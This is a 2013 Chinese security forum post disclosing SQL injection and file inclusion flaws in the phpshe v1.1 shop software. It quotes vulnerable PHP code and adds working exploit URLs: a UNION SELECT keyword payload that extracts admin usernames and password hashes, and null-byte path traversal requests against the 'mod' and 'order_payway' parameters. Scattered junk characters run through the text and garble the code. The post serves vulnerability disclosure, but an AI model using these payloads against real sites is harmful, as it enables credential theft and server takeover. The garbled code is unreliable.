找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2373|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
1 u  X( V3 ^# y4 h/* Phpshe v1.1 Vulnerability
$ u& m3 y0 R7 t, B2 P, k! Z: }/* ========================
7 ~4 b/ N7 Z7 e/* By: : Kn1f3
# t7 `* i1 c7 R4 A% b/* E-Mail : 681796@qq.com
  d$ `. c: k$ m. c/*******************************************************/8 J' b4 a, D. E: ?& C
0×00 整体大概参数传输
/ ]9 U' Y: E8 \  R0 g5 Q" ` . V" j' T+ ~- z/ I
1 {) P5 B3 ?( T( N* K8 J. H; s

5 g" N* `" ]5 s% H8 o. Z, x//common.php( W% G; z% z2 [* a! Q
if (get_magic_quotes_gpc()) {
( ~* p$ T/ o0 v* l1 g. R" y!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');5 X% e# d- J, r0 b( M
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');. d2 Y# V+ f. x" H
}; _$ U! `& Z( S4 ?
else {
+ l! I. g! d0 [# `  P!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
6 E3 M3 x& X9 O; u  H* n- p$ _!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
* y+ w: N; e. @" _$ X4 J}" L/ B: D8 z7 f9 ~$ N3 q
session_start();( w) N3 N7 _: ^$ j
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');5 l, f* R2 x, M( Q. M, d; q
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
% l5 x3 p: e8 z, {$ G) K# B
; v" W/ C9 W- F+ X+ m0×01 包含漏洞
. d# D( t$ h' O
# e+ V% }3 c+ o- O: L$ D- i
2 d+ g1 ?! C7 ]0 k: F0 r% x
//首页文件
: z/ |) x' O: _, y<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
% n& W+ b* B) f1 H& K0 {) ^& Winclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
, z" G- j0 _( t. L! dpe_result();
0 N4 z1 a) O- L# r?>
, ^8 |5 u* [' }$ L9 O2 m//common 文件 第15行开始& Y- ]0 R' V2 e* {1 Z3 K
url路由配置5 U  M$ ]) @3 {; ^: A
$module = $mod = $act = 'index';0 f8 B) i+ }# f* r  n( I/ b% p
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
/ _( P( L4 m& A$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);, ?* u, U4 T+ g) {2 N3 o
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);9 H: m& c1 m# E( q
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%007 {' D& e) N6 m


# r2 p) ~- o" r9 k
) i4 {& {3 c* a* v5 f/ O 0×02 搜索注入
# a( H# Y, x6 G- w& ~ 8 H# x, e: c! V3 P1 a; ~" I9 b: F4 ?/ o
<code id="code2">

//product.php文件
) G9 h+ L2 G: Z: Gcase 'list':! P& ^: D- `& ^2 I+ b) d
$category_id = intval($id);
: J/ p( z. J. e4 E- h$info = $db->pe_select('category', array('category_id'=>$category_id));. C' c* K( X$ a* |! P
//搜索
. S6 J: m7 k4 b: k& z) Z# H/ Y* t$sqlwhere = " and `product_state` = 1";6 R% |4 {) r6 b# X; F% n
pe_lead('hook/category.hook.php');8 W7 ^% `% V, R5 \& C: B& b, g, b
if ($category_id) {% }% t3 X. k7 _0 f& {2 [) X
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";6 M* v/ y5 m) k7 I" G
}+ y" c9 y1 `1 s/ t
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
4 X7 j" d5 i6 X5 s: {if ($_g_orderby) {
* K& j$ _7 ^% X$orderby = explode('_', $_g_orderby);* r* P0 ~' R& V% a* Y) }$ ?* X
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";3 `% Y9 d; @& ]! n
}$ R1 i% a$ u( E3 u' f
else {# x3 Z4 q8 M1 ~( ]7 u5 x# u- u6 I5 \
$sqlwhere .= " order by `product_id` desc";
" l- f/ R" M+ p1 _* P}& [' A" h9 L/ V9 e$ B9 H) L
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));/ j/ X( E) p1 a% B, U" S2 k) N( H
//热卖排行
; ^" E+ P' A& J$product_hotlist = product_hotlist();
' T# Y! \. y: J$ h+ B//当前路径6 t2 S& b. ?& \8 H" F
$nowpath = category_path($category_id);
% b# Y& Y" s7 `( a$seo = pe_seo($info['category_name']);, {4 @; a+ o# H
include(pe_tpl('product_list.html'));' N# j5 R( K: J) Q$ \8 D& j1 S  j
//跟进selectall函数库2 c# g4 f2 L$ _9 U5 q" y6 T/ D, ]
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())2 i2 k: H3 x) O- `2 h5 M6 I
{0 E. _$ W8 @  e! a% {
//处理条件语句
7 v0 T" J+ y0 i1 C$sqlwhere = $this->_dowhere($where);% x. B7 L, d3 L7 A& d& B$ z
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);  r' c. }7 j" r; u& k  C# U) m
}; i7 i; o2 n+ T5 g& J
//exp
! c8 e( D$ G; a9 z' dproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1# b& a  `. }% z5 ]0 \( ?- U4 c

</code>
  Q3 P4 E- f6 Y# h3 C0 M; G # I3 u3 m6 P' y& B
0×03 包含漏洞2
* C, o8 I% c1 ~# T9 h6 Q% a' @ . ^$ O! B& D. B! W# Z1 }. @6 {
<code id="code3">

//order.php

case 'pay':


& X7 n; y$ s4 R+ P$order_id = pe_dbhold($_g_id);

: |% y! e% `! k* T6 p
$cache_payway = cache::get('payway');


% ~2 P& e" b7 F5 u3 H* Zforeach($cache_payway as $k => $v) {

) H) c  ]: s: U1 k* c
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


5 }7 `+ s: A, g' e0 Jif ($k == 'bank') {

* a! {. l0 P' O0 I# O1 ^
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

+ |: w; i- o" C8 D
}


9 z' _- ]; m2 z% {}


8 G" z+ W1 `$ {+ t' F$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

; \  O+ G. w' R. F1 V2 ?
!$order['order_id'] && pe_error('订单号错误...');

8 {1 H2 }  }4 U, H. g  H; ]2 i. E% x9 e" y
if (isset($_p_pesubmit)) {

& \. \" `( K! ]' Z1 V
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


5 i$ a5 m6 @$ j$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


. U, k% }4 q3 Vforeach ($info_list as $v) {


& c+ n& Y) k6 r# j2 \9 M$order['order_name'] .= "{$v['product_name']};";
$ y& f* r: W; u! T* v+ r9 i8 {

' a& Q: c  ?8 p& e
}


8 Y: ^, |7 P# B2 Q; ]$ ~" Wecho '正在为您连接支付网站,请稍后...';

( o8 ^, |5 {! \
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


4 w" B& c, t% @/ `# ]}//当一切准备好的时候就可以进行"鸡肋包含了"


* Y4 C  W, T( f4 uelse {


) L' w" j, x8 G% r) N& B6 wpe_error('支付错误...');

& G5 x' I" n! K/ C2 @9 f
}

& c) i6 X9 |1 ?, b* V+ Z) w
}

6 ~# x. f& C8 u( [8 P7 l
$seo = pe_seo('选择支付方式');


1 @: }: G& U3 ?8 C2 j' winclude(pe_tpl('order_pay.html'));


% ]2 d- x, f. ~+ V; A9 a+ ubreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code># u! d5 Z+ Z! ]- f. n, z

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表